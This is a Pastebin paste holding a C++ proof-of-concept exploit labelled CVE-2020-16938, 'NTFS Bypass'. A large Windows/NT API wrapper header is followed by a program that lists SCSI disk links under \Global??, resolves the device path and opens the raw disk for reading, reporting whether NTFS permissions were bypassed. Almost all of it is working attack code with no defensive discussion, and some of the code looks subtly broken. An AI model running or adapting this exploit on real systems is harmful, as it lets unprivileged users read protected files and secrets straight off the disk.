W0rMz000

CVE-2020-16938 - NTFS Bypass

Nov 3rd, 2020
2,258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 28.42 KB | None | 0 0
  1. #pragma once
  2. #include <Windows.h>
  3. #include <Psapi.h>
  4. #include <tlhelp32.h>
  5. #include <winternl.h>
  6.  
  7. #include <vector>
  8. #include <string>
  9. #include <unordered_map>
  10.  
  11. namespace winapi
  12. {
  13. #pragma region constants
  14.     constexpr std::uint32_t max_path = MAX_PATH;
  15. #pragma endregion constants
  16.  
  17.     struct module_info
  18.     {
  19.         void* base_of_dll;
  20.         std::uint32_t size_of_image;
  21.         void* entrypoint;
  22.     };
  23.  
  24.     struct process_entry32
  25.     {
  26.         std::uint32_t size;
  27.         std::uint32_t usage_count;
  28.         std::uint32_t process_id;
  29.         std::uint64_t* default_heap_id;
  30.         std::uint32_t module_info;
  31.         std::uint32_t thread_count;
  32.         std::uint32_t parent_process_id;
  33.         long class_base;
  34.         std::uint32_t flags;
  35.         wchar_t file[winapi::max_path];
  36.     };
  37.  
  38.     struct security_attributes
  39.     {
  40.         std::uint32_t length;
  41.         void* security_descriptor;
  42.         bool inherit_handle;
  43.     };
  44.  
  45.     class process
  46.     {
  47.     public:
  48. #pragma region constants
  49.         static constexpr std::uint32_t terminate = PROCESS_TERMINATE;
  50.         static constexpr std::uint32_t create_thread = PROCESS_CREATE_THREAD;
  51.         static constexpr std::uint32_t set_sessionid = PROCESS_SET_SESSIONID;
  52.         static constexpr std::uint32_t vm_operation = PROCESS_VM_OPERATION;
  53.         static constexpr std::uint32_t vm_read = PROCESS_VM_READ;
  54.         static constexpr std::uint32_t vm_write = PROCESS_VM_WRITE;
  55.         static constexpr std::uint32_t dup_handle = PROCESS_DUP_HANDLE;
  56.         static constexpr std::uint32_t create_process = PROCESS_CREATE_PROCESS;
  57.         static constexpr std::uint32_t set_quota = PROCESS_SET_QUOTA;
  58.         static constexpr std::uint32_t set_information = PROCESS_SET_INFORMATION;
  59.         static constexpr std::uint32_t query_information = PROCESS_QUERY_INFORMATION;
  60.         static constexpr std::uint32_t suspend_resume = PROCESS_SUSPEND_RESUME;
  61.         static constexpr std::uint32_t query_limited_information = PROCESS_QUERY_LIMITED_INFORMATION;
  62.         static constexpr std::uint32_t set_limited_information = PROCESS_SET_LIMITED_INFORMATION;
  63.         static constexpr std::uint32_t all_access = PROCESS_ALL_ACCESS;
  64.  
  65.         static constexpr uint32_t snap_heap_list = TH32CS_SNAPHEAPLIST;
  66.         static constexpr uint32_t snap_process = TH32CS_SNAPPROCESS;
  67.         static constexpr uint32_t snap_thread = TH32CS_SNAPTHREAD;
  68.         static constexpr uint32_t snap_module = TH32CS_SNAPMODULE;
  69.         static constexpr uint32_t snap_module32 = TH32CS_SNAPMODULE32;
  70.         static constexpr uint32_t snap_all = TH32CS_SNAPALL;
  71.         static constexpr uint32_t inherit = TH32CS_INHERIT;
  72. #pragma endregion constants
  73.  
  74.         static inline void* open_process(
  75.             std::uint32_t access,
  76.             bool inherit_handle,
  77.             std::uint32_t process_id)
  78.         {
  79.             return OpenProcess(
  80.                 access,
  81.                 inherit_handle,
  82.                 process_id);
  83.         }
  84.         static inline std::vector<std::uint32_t> enum_processes()
  85.         {
  86.             DWORD processes[1024];
  87.             DWORD needed;
  88.             if (EnumProcesses(
  89.                 processes,
  90.                 sizeof(processes),
  91.                 &needed))
  92.             {
  93.                 int size = sizeof(processes) / sizeof(processes[0]);
  94.                 return std::vector<uint32_t>(
  95.                     processes,
  96.                     processes + size);
  97.             }
  98.  
  99.             return std::vector<uint32_t>();
  100.         }
  101.         static inline std::wstring get_process_image_filename(
  102.             void* process)
  103.         {
  104.             wchar_t file[MAX_PATH];
  105.             GetProcessImageFileNameW(
  106.                 process,
  107.                 file,
  108.                 sizeof(file) / sizeof(file[0]));
  109.             return std::wstring(file);
  110.         }
  111.         static inline void* create_toolhelp32_snapshot(
  112.             std::uint32_t flags,
  113.             std::uint32_t process_id)
  114.         {
  115.             return CreateToolhelp32Snapshot(flags, process_id);
  116.         }
  117.         static inline bool process32_first(
  118.             void* snapshot,
  119.             winapi::process_entry32* entry)
  120.         {
  121.             return Process32FirstW(
  122.                 snapshot,
  123.                 reinterpret_cast<PROCESSENTRY32W*>(entry));
  124.         }
  125.         static inline bool process32_next(
  126.             void* snapshot,
  127.             winapi::process_entry32* entry)
  128.         {
  129.             return Process32NextW(
  130.                 snapshot,
  131.                 reinterpret_cast<PROCESSENTRY32W*>(entry));
  132.         }
  133.         static inline void sleep(
  134.             std::uint32_t milliseconds)
  135.         {
  136.             Sleep(milliseconds);
  137.         }
  138.     };
  139.  
  140.     class module
  141.     {
  142.     public:
  143.         static inline std::wstring get_module_file_name_ex(
  144.             void* process,
  145.             void* module)
  146.         {
  147.             wchar_t name[MAX_PATH];
  148.             if (GetModuleFileNameExW(
  149.                 process,
  150.                 (HMODULE)module,
  151.                 name,
  152.                 sizeof(name) / sizeof(wchar_t)))
  153.             {
  154.                 return std::wstring(name);
  155.             }
  156.  
  157.             throw std::exception("GetModuleFileNameEx failed");
  158.         }
  159.         static inline winapi::module_info get_module_information(
  160.             void* process,
  161.             void* module)
  162.         {
  163.             MODULEINFO info = {};
  164.             if (GetModuleInformation(
  165.                 process,
  166.                 (HMODULE)module,
  167.                 &info,
  168.                 sizeof(MODULEINFO)))
  169.             {
  170.                 return module_info
  171.                 {
  172.                     info.lpBaseOfDll,
  173.                     info.SizeOfImage,
  174.                     info.EntryPoint
  175.                 };
  176.             }
  177.  
  178.             return module_info
  179.             {
  180.                 nullptr,
  181.                 0,
  182.                 nullptr
  183.             };
  184.         }
  185.         static inline std::wstring get_module_base_name(
  186.             void* process,
  187.             void* module)
  188.         {
  189.             wchar_t name[MAX_PATH] = L"";
  190.             if (GetModuleBaseNameW(
  191.                 process,
  192.                 (HMODULE)module,
  193.                 name,
  194.                 sizeof(name) / sizeof(wchar_t)))
  195.             {
  196.                 return std::wstring(name);
  197.             }
  198.  
  199.             throw std::exception("GetModuleBaseName failed");
  200.         }
  201.         static inline std::vector<void*> enum_process_modules(
  202.             void* process)
  203.         {
  204.             HMODULE modules[1024];
  205.             DWORD needed;
  206.             if (EnumProcessModules(
  207.                 process,
  208.                 modules,
  209.                 sizeof(modules),
  210.                 &needed))
  211.             {
  212.                 int size = sizeof(modules) / sizeof(modules[0]);
  213.                 return std::vector<void*>(
  214.                     modules,
  215.                     modules + size);
  216.             }
  217.  
  218.             return std::vector<void*>();
  219.         }
  220.         static inline void* get_proc_address(
  221.             void* module,
  222.             std::string name)
  223.         {
  224.             return GetProcAddress(
  225.                 (HMODULE)module,
  226.                 name.data());
  227.         }
  228.         static inline void* get_module_handle(
  229.             std::wstring module)
  230.         {
  231.             return GetModuleHandleW(module.data());
  232.         }
  233.         static inline void* load_library(
  234.             std::wstring module,
  235.             std::uint32_t flags)
  236.         {
  237.             return LoadLibraryExW(
  238.                 module.data(),
  239.                 nullptr,
  240.                 flags);
  241.         }
  242.     };
  243.  
  244.     class memory
  245.     {
  246.     public:
  247. #pragma region constants
  248.         static constexpr std::uint32_t commit = MEM_COMMIT;
  249.         static constexpr std::uint32_t reserve = MEM_RESERVE;
  250.         static constexpr std::uint32_t reset = MEM_RESET;
  251.         static constexpr std::uint32_t reset_undo = MEM_RESET_UNDO;
  252.         static constexpr std::uint32_t large_pages = MEM_LARGE_PAGES;
  253.         static constexpr std::uint32_t physical = MEM_PHYSICAL;
  254.         static constexpr std::uint32_t top_down = MEM_TOP_DOWN;
  255.         static constexpr std::uint32_t write_watch = MEM_WRITE_WATCH;
  256.         static constexpr std::uint32_t release = MEM_RELEASE;
  257.  
  258.         static constexpr std::uint32_t execute = PAGE_EXECUTE;
  259.         static constexpr std::uint32_t execute_read = PAGE_EXECUTE_READ;
  260.         static constexpr std::uint32_t execute_read_write = PAGE_EXECUTE_READWRITE;
  261.         static constexpr std::uint32_t execute_write_copy = PAGE_EXECUTE_WRITECOPY;
  262.         static constexpr std::uint32_t read_write = PAGE_READWRITE;
  263.         static constexpr std::uint32_t targets_invalid = PAGE_TARGETS_INVALID;
  264.         static constexpr std::uint32_t targets_no_update = PAGE_TARGETS_NO_UPDATE;
  265.         static constexpr std::uint32_t guard = PAGE_GUARD;
  266.         static constexpr std::uint32_t no_cache = PAGE_NOCACHE;
  267.         static constexpr std::uint32_t write_combine = PAGE_WRITECOMBINE;
  268. #pragma endregion constants
  269.  
  270.         static inline std::vector<uint8_t> read_process_memory(
  271.             void* process,
  272.             void* address,
  273.             std::size_t size)
  274.         {
  275.             uint8_t* buffer = (uint8_t*)malloc(size);
  276.             SIZE_T read;
  277.             if (ReadProcessMemory(
  278.                 process,
  279.                 address,
  280.                 buffer,
  281.                 size,
  282.                 &read))
  283.             {
  284.                 std::vector<uint8_t> memory(buffer, buffer + read);
  285.                 free(buffer);
  286.                 return memory;
  287.             }
  288.  
  289.             return std::vector<uint8_t>();
  290.         }
  291.         static inline bool write_process_memory(
  292.             void* process,
  293.             int address,
  294.             std::vector<uint8_t> data)
  295.         {
  296.             SIZE_T written;
  297.             return WriteProcessMemory(
  298.                 process,
  299.                 (void*)address,
  300.                 std::data(data),
  301.                 data.size(),
  302.                 &written);
  303.         }
  304.         static inline void* virtual_alloc(
  305.             void* address,
  306.             std::size_t size,
  307.             std::uint32_t allocation_type,
  308.             std::uint32_t protection
  309.         )
  310.         {
  311.             return VirtualAlloc(
  312.                 address,
  313.                 size,
  314.                 allocation_type,
  315.                 protection);
  316.         }
  317.         static inline bool virtual_free(
  318.             void* address,
  319.             std::size_t size,
  320.             std::uint32_t free_type)
  321.         {
  322.             return VirtualFree(
  323.                 address,
  324.                 size,
  325.                 free_type);
  326.         }
  327.     };
  328.  
  329.     class handle
  330.     {
  331.     public:
  332.         static inline void close_handle(
  333.             void* handle)
  334.         {
  335.             CloseHandle(handle);
  336.         }
  337.         static inline uint32_t wait_for_single_object(
  338.             void* handle,
  339.             uint32_t milliseconds)
  340.         {
  341.             return WaitForSingleObject(
  342.                 handle,
  343.                 milliseconds);
  344.         }
  345.     };
  346.  
  347.     class event
  348.     {
  349.     public:
  350.         static inline void* open_event(
  351.             uint32_t access,
  352.             bool inherit_handle,
  353.             std::wstring name)
  354.         {
  355.             return OpenEventW(
  356.                 access,
  357.                 inherit_handle,
  358.                 name.data());
  359.         }
  360.         static inline void* create_event(
  361.             winapi::security_attributes* attributes,
  362.             bool manual_reset,
  363.             bool initial_state,
  364.             std::wstring name)
  365.         {
  366.             return CreateEventW(
  367.                 reinterpret_cast<SECURITY_ATTRIBUTES*>(attributes),
  368.                 manual_reset,
  369.                 initial_state,
  370.                 name.data());
  371.         }
  372.         static inline bool set_event(
  373.             void* event_handle)
  374.         {
  375.             return SetEvent(event_handle);
  376.         }
  377.     };
  378.  
  379.     class file
  380.     {
  381.     public:
  382.         static constexpr std::uint32_t generic_read = GENERIC_READ;
  383.  
  384.         static inline void* open_file_mapping(
  385.             std::uint32_t access,
  386.             bool inherit_handle,
  387.             std::wstring name)
  388.         {
  389.             return OpenFileMappingW(
  390.                 access,
  391.                 inherit_handle,
  392.                 name.data());
  393.         }
  394.         static inline void* create_file_mapping(
  395.             void* file,
  396.             winapi::security_attributes* attributes,
  397.             std::uint32_t protect,
  398.             std::uint32_t max_size_high,
  399.             std::uint32_t max_size_low,
  400.             std::wstring name)
  401.         {
  402.             return CreateFileMappingW(
  403.                 file,
  404.                 reinterpret_cast<SECURITY_ATTRIBUTES*>(attributes),
  405.                 protect,
  406.                 max_size_high,
  407.                 max_size_low,
  408.                 name.data());
  409.         }
  410.         static inline void* map_view_of_file(
  411.             void* file,
  412.             std::uint32_t access,
  413.             std::uint32_t offset_high,
  414.             std::uint32_t offset_low,
  415.             std::size_t size)
  416.         {
  417.             return MapViewOfFile(
  418.                 file,
  419.                 access,
  420.                 offset_high,
  421.                 offset_low,
  422.                 size);
  423.         }
  424.         static inline bool unmap_view_of_file(
  425.             void* file)
  426.         {
  427.             return UnmapViewOfFile(file);
  428.         }
  429.         static inline void* create_file(
  430.             std::wstring file,
  431.             std::uint32_t access,
  432.             std::uint32_t shared,
  433.             winapi::security_attributes* security_attributes,
  434.             std::uint32_t creation_disposition,
  435.             std::uint32_t attributes,
  436.             void* template_file)
  437.         {
  438.             return CreateFileW(
  439.                 file.data(),
  440.                 access,
  441.                 shared,
  442.                 reinterpret_cast<SECURITY_ATTRIBUTES*>(security_attributes),
  443.                 creation_disposition,
  444.                 attributes,
  445.                 template_file
  446.             );
  447.         }
  448.     };
  449. }
  450.  
  451. namespace nt
  452. {
  453.     struct unicode_string
  454.     {
  455.         wchar_t* buffer;
  456.         unsigned short length;
  457.         unsigned short max_length;
  458.  
  459.         /*
  460.         unicode_string() {}
  461.         unicode_string(const std::wstring& string)
  462.         {
  463.             buffer = const_cast<wchar_t*>(string.data());
  464.             max_length = string.length() * sizeof(wchar_t);
  465.             length = max_length - sizeof(wchar_t);
  466.         }
  467.         */
  468.     };
  469.  
  470.     struct object_directory_information
  471.     {
  472.         UNICODE_STRING object_name;
  473.         UNICODE_STRING type_name;
  474.  
  475.         std::wstring name() { return std::wstring(object_name.Buffer); }
  476.         std::wstring type() { return std::wstring(type_name.Buffer); }
  477.     };
  478.  
  479.     struct system_process_information
  480.     {
  481.         unsigned long next_entry_offset;
  482.         unsigned long number_of_threads;
  483.         std::uint64_t reserved[3];
  484.         std::uint64_t create_time;
  485.         std::uint64_t user_time;
  486.         std::uint64_t kernel_time;
  487.         nt::unicode_string image_name;
  488.         unsigned long base_priority;
  489.         void* process_id;
  490.         void* inherited_from_process_id;
  491.     };
  492.  
  493.     enum system_information_class
  494.     {
  495.         base_information = 0,
  496.         performance_information = 2,
  497.         time_of_day_information = 3,
  498.         process_information = 5,
  499.         processor_performance_information = 8,
  500.         interrupt_information = 23,
  501.         exception_information = 33,
  502.         registry_quota_information = 37,
  503.         lookaside_information = 45
  504.     };
  505.  
  506.     class detail
  507.     {
  508.         friend class system;
  509.         friend class object;
  510.         friend class string;
  511.         friend class directory;
  512.         friend class symlink;
  513.         friend class file;
  514.  
  515.     private:
  516.         static inline std::unordered_map<std::string, void*> m_functions = {};
  517.     protected:
  518.         template<class T>
  519.         static T resolve_function(std::string name, std::wstring module = L"ntdll")
  520.         {
  521.             if (m_functions.find(name) == m_functions.end())
  522.             {
  523.                 auto handle = winapi::module::get_module_handle(module);
  524.                 if (!handle)
  525.                 {
  526.                     handle = winapi::module::load_library(
  527.                         module,
  528.                         DONT_RESOLVE_DLL_REFERENCES);
  529.                 }
  530.                 auto proc = winapi::module::get_proc_address(handle, name);
  531.                 m_functions.emplace(name, proc);
  532.             }
  533.             return (T)m_functions.at(name);
  534.         }
  535.     };
  536.  
  537.     class system
  538.     {
  539.     public:
  540.         template<class T>
  541.         static inline std::list<T*> query_system_information()
  542.         {
  543.             auto NtQuerySystemInformation =
  544.                 nt::detail::resolve_function<nt_query_system_information_t>(
  545.                     "NtQuerySystemInformation");
  546.  
  547.             if (std::is_same<
  548.                 T,
  549.                 nt::system_process_information>::value)
  550.             {
  551.                 unsigned long length = 0;
  552.                 NtQuerySystemInformation(
  553.                     nt::system_information_class::process_information,
  554.                     nullptr,
  555.                     length,
  556.                     &length);
  557.  
  558.                 auto buffer = reinterpret_cast<nt::system_process_information*>(
  559.                     winapi::memory::virtual_alloc(
  560.                         nullptr,
  561.                         length,
  562.                         winapi::memory::commit,
  563.                         winapi::memory::read_write));
  564.  
  565.                 NtQuerySystemInformation(
  566.                     nt::system_information_class::process_information,
  567.                     buffer,
  568.                     length,
  569.                     &length);
  570.  
  571.                 auto proc_info = buffer;
  572.                 std::list<T*> entries;
  573.                 do
  574.                 {
  575.                     entries.push_back(proc_info);
  576.                     auto offset = proc_info->next_entry_offset;
  577.                     auto next = reinterpret_cast<uintptr_t>(proc_info) + offset;
  578.                     proc_info = reinterpret_cast<nt::system_process_information*>(
  579.                         next);
  580.                 } while (proc_info->next_entry_offset != 0);
  581.  
  582.                 winapi::memory::virtual_free(
  583.                     buffer,
  584.                     length,
  585.                     winapi::memory::release);
  586.  
  587.                 return entries;
  588.             }
  589.  
  590.             return {};
  591.         }
  592.     private:
  593.         using nt_query_system_information_t = NTSTATUS(NTAPI*)(
  594.             nt::system_information_class,
  595.             void*,
  596.             unsigned long,
  597.             unsigned long*);
  598.     };
  599.  
  600.     class string
  601.     {
  602.     public:
  603.         static inline nt::unicode_string init_unicode_string(const std::wstring& string)
  604.         {
  605.             auto RtlInitUnicodeString =
  606.                 nt::detail::resolve_function<nt_rtl_init_unicode_string>(
  607.                     "RtlInitUnicodeString", L"ntoskrnl.exe");
  608.             nt::unicode_string unicode_string;
  609.             RtlInitUnicodeString(&unicode_string, (wchar_t*)string.data());
  610.             return unicode_string;
  611.         }
  612.     private:
  613.         using nt_rtl_init_unicode_string = NTSTATUS(NTAPI*)(
  614.             nt::unicode_string*,
  615.             wchar_t*);
  616.     };
  617.  
  618.     class object
  619.     {
  620.     public:
  621.         static constexpr std::uint32_t inherit = OBJ_INHERIT;
  622.         static constexpr std::uint32_t permanent = OBJ_PERMANENT;
  623.         static constexpr std::uint32_t exclusive = OBJ_EXCLUSIVE;
  624.         static constexpr std::uint32_t case_insensitive = OBJ_CASE_INSENSITIVE;
  625.         static constexpr std::uint32_t openif = OBJ_OPENIF;
  626.         static constexpr std::uint32_t kernel_handle = OBJ_KERNEL_HANDLE;
  627.         static constexpr std::uint32_t force_access_check = OBJ_FORCE_ACCESS_CHECK;
  628.  
  629.         static inline OBJECT_ATTRIBUTES initialize_attributes(
  630.             nt::unicode_string* name,
  631.             unsigned long flags,
  632.             void* root_handle/*, security descriptor*/)
  633.         {
  634.             OBJECT_ATTRIBUTES attributes;
  635.             InitializeObjectAttributes(
  636.                 &attributes,
  637.                 (UNICODE_STRING*)name,
  638.                 flags,
  639.                 root_handle,
  640.                 nullptr);
  641.             return attributes;
  642.         }
  643.     };
  644.  
  645.     class symlink
  646.     {
  647.     public:
  648.         static constexpr std::uint32_t link_query = 0x0001;
  649.  
  650.         // this can be easily templated for directory and symlink
  651.         static inline void* open(
  652.             std::uint32_t access,
  653.             POBJECT_ATTRIBUTES attributes)
  654.         {
  655.             auto NtOpenSymbolicLinkObject =
  656.                 nt::detail::resolve_function<nt_open_symbolic_link_object>(
  657.                     "NtOpenSymbolicLinkObject");
  658.             void* handle;
  659.             auto status = NtOpenSymbolicLinkObject(
  660.                 &handle,
  661.                 access,
  662.                 attributes);
  663.             return handle;
  664.         }
  665.         static inline std::wstring query(
  666.             void* link)
  667.         {
  668.             auto NtQuerySymbolicLinkObject =
  669.                 nt::detail::resolve_function<nt_query_symbolic_link_object>(
  670.                     "NtQuerySymbolicLinkObject");
  671.             UNICODE_STRING target;
  672.             target.Length = 0;
  673.             target.MaximumLength = winapi::max_path;
  674.             target.Buffer = reinterpret_cast<wchar_t*>(malloc(winapi::max_path));
  675.             auto status = NtQuerySymbolicLinkObject(
  676.                 link,
  677.                 &target,
  678.                 nullptr);
  679.             target.Buffer[target.Length / 2] = 0;
  680.             return std::wstring(target.Buffer);
  681.         }
  682.  
  683.     private:
  684.         using nt_open_symbolic_link_object = NTSTATUS(NTAPI*)(
  685.             void*,
  686.             std::uint32_t,
  687.             POBJECT_ATTRIBUTES);
  688.         using nt_query_symbolic_link_object = NTSTATUS(NTAPI*)(
  689.             void*,
  690.             PUNICODE_STRING,
  691.             std::uint32_t*);
  692.     };
  693.  
  694.     class directory
  695.     {
  696.     public:
  697.         static constexpr std::uint32_t dir_query = 0x1; // DIRECTORY_QUERY
  698.  
  699.         static inline void* open(
  700.             std::uint32_t access,
  701.             POBJECT_ATTRIBUTES attributes)
  702.         {
  703.             auto NtOpenDirectoryObject =
  704.                 nt::detail::resolve_function<nt_open_directory_object>(
  705.                     "NtOpenDirectoryObject");
  706.             void* handle;
  707.             NtOpenDirectoryObject(
  708.                 &handle,
  709.                 access,
  710.                 attributes);
  711.             return handle;
  712.         }
  713.         static inline std::unordered_map<std::uint64_t, nt::object_directory_information*> query(
  714.             void* directory)
  715.         {
  716.             auto NtQueryDirectoryObject =
  717.                 nt::detail::resolve_function<nt_query_directory_object>(
  718.                     "NtQueryDirectoryObject");
  719.  
  720.             std::unordered_map<
  721.                 std::uint64_t,
  722.                 nt::object_directory_information*
  723.             > objects;
  724.  
  725.             std::uint32_t index = 0;
  726.             std::uint32_t ret_size = 0;
  727.             bool end = false;
  728.  
  729.             do
  730.             {
  731.                 auto size = 1;
  732.                 auto buffer = reinterpret_cast<nt::object_directory_information*>(
  733.                     winapi::memory::virtual_alloc(
  734.                         nullptr,
  735.                         size,
  736.                         winapi::memory::commit,
  737.                         winapi::memory::read_write));
  738.  
  739.                 NtQueryDirectoryObject(
  740.                     directory,
  741.                     buffer,
  742.                     size,
  743.                     true,
  744.                     false,
  745.                     &index,
  746.                     &ret_size);
  747.  
  748.                 winapi::memory::virtual_free(buffer, size, winapi::memory::release);
  749.                
  750.                 size = ret_size;
  751.  
  752.                 buffer = reinterpret_cast<nt::object_directory_information*>(
  753.                     winapi::memory::virtual_alloc(
  754.                         nullptr,
  755.                         size,
  756.                         winapi::memory::commit,
  757.                         winapi::memory::read_write));
  758.  
  759.                 NtQueryDirectoryObject(
  760.                     directory,
  761.                     buffer,
  762.                     size,
  763.                     true,
  764.                     false,
  765.                     &index,
  766.                     &ret_size);
  767.  
  768.                 end = buffer->object_name.Buffer == nullptr;
  769.                 objects.emplace(index, buffer);
  770.  
  771.                 winapi::memory::virtual_free(buffer, size, winapi::memory::release);
  772.             } while (!end);
  773.  
  774.             return objects;
  775.         }
  776.  
  777.     private:
  778.         using nt_open_directory_object = NTSTATUS(NTAPI*)(
  779.             void*,
  780.             std::uint32_t,
  781.             POBJECT_ATTRIBUTES);
  782.         using nt_query_directory_object = NTSTATUS(NTAPI*)(
  783.             void* directory,
  784.             void* buffer,
  785.             std::uint32_t length,
  786.             bool return_single_entry,
  787.             bool restart_scan,
  788.             std::uint32_t* context,
  789.             std::uint32_t* return_length);
  790.     };
  791.  
  792.     class file
  793.     {
  794.     public:
  795.         static constexpr std::uint32_t attribute_normal = FILE_ATTRIBUTE_NORMAL;
  796.        
  797.         static constexpr std::uint32_t file_open_if = FILE_OPEN_IF;
  798.         static constexpr std::uint32_t file_open = FILE_OPEN;
  799.  
  800.         static inline void* open(
  801.             const std::wstring& file,
  802.             std::uint32_t access,
  803.             POBJECT_ATTRIBUTES object_attributes,
  804.             std::uint32_t file_attributes,
  805.             std::uint32_t share_access,
  806.             std::uint32_t disposition)
  807.         {
  808.             auto NtCreateFile =
  809.                 nt::detail::resolve_function<nt_create_file>(
  810.                     "NtCreateFile");
  811.  
  812.             void* handle;
  813.             IO_STATUS_BLOCK io_status;
  814.             memset(&io_status, 0, sizeof(io_status));
  815.             auto status = NtCreateFile(
  816.                 &handle,
  817.                 access,
  818.                 object_attributes,
  819.                 &io_status,
  820.                 nullptr,
  821.                 file_attributes,
  822.                 share_access,
  823.                 disposition,
  824.                 0,
  825.                 nullptr,
  826.                 0);
  827.             if (status != 0)
  828.             {
  829.                 handle = nullptr;
  830.             }
  831.             return handle;
  832.         }
  833.  
  834.     private:
  835.         using nt_create_file = NTSTATUS(NTAPI*)(
  836.             void*,
  837.             std::uint32_t,
  838.             POBJECT_ATTRIBUTES,
  839.             PIO_STATUS_BLOCK,
  840.             PLARGE_INTEGER,
  841.             std::uint32_t,
  842.             std::uint32_t,
  843.             std::uint32_t,
  844.             std::uint32_t,
  845.             void*,
  846.             std::uint32_t);
  847.     };
  848. }
  849.  
  850.  
  851.  
  852.  
  853. ------------------------
  854.  
  855.  
  856.  
  857.  
  858. #include <iostream>
  859. #include "wrapper.hpp"
  860.  
  861. int main()
  862. {
  863.     const std::wstring global = L"\\Global??";
  864.  
  865.     auto directory = nt::string::init_unicode_string(global);
  866.     auto attributes = nt::object::initialize_attributes(
  867.         &directory,
  868.         nt::object::case_insensitive,
  869.         nullptr);
  870.     auto handle = nt::directory::open(
  871.         nt::directory::dir_query,
  872.         &attributes);
  873.    
  874.     std::cout << "\\Global?? = " << handle << std::endl;
  875.  
  876.     auto objects = nt::directory::query(handle);
  877.     for (auto& [ index, object ] : objects)
  878.     {
  879.         if (object->name().find(L"SCSI#") != std::string::npos)
  880.         {
  881.             std::wcout << "[" << index << "] " << object->name() << std::endl;
  882.         }
  883.     }
  884.  
  885.     std::cout << "Pick a disk: ";
  886.  
  887.     int index = -1;
  888.     std::cin >> index;
  889.  
  890.     auto disk_name = objects.find(index)->second->name();
  891.     disk_name = std::wstring(L"\\Global??\\").append(disk_name);
  892.     auto disk_name_unicode = nt::string::init_unicode_string(disk_name);
  893.     attributes = nt::object::initialize_attributes(
  894.         &disk_name_unicode,
  895.         nt::object::case_insensitive,
  896.         nullptr);
  897.  
  898.     auto disk = nt::symlink::open(
  899.         nt::symlink::link_query,
  900.         &attributes);
  901.     const auto device = nt::symlink::query(disk);
  902.    
  903.     std::wcout << "Device path: " << device << std::endl;
  904.  
  905.     auto device_unicode = nt::string::init_unicode_string(device);
  906.     attributes = nt::object::initialize_attributes(
  907.         &device_unicode,
  908.         nt::object::case_insensitive,
  909.         nullptr);
  910.     handle = nt::file::open(
  911.         device,
  912.         winapi::file::generic_read,
  913.         &attributes,
  914.         nt::file::attribute_normal,
  915.         0,
  916.         nt::file::file_open);
  917.  
  918.     std::wcout << device << " = " << handle << std::endl;
  919.  
  920.     if (handle)
  921.     {
  922.         std::cout << "NTFS permissions bypassed!" << std::endl;
  923.     }
  924.     else
  925.     {
  926.         std::cout << "Failed bypassing NTFS permissions!" << std::endl;
  927.     }
  928.  
  929.     std::cin.ignore();
  930.     std::cin.get();
  931.     return 0;
  932. }
Advertisement
Add Comment
Please, Sign In to add comment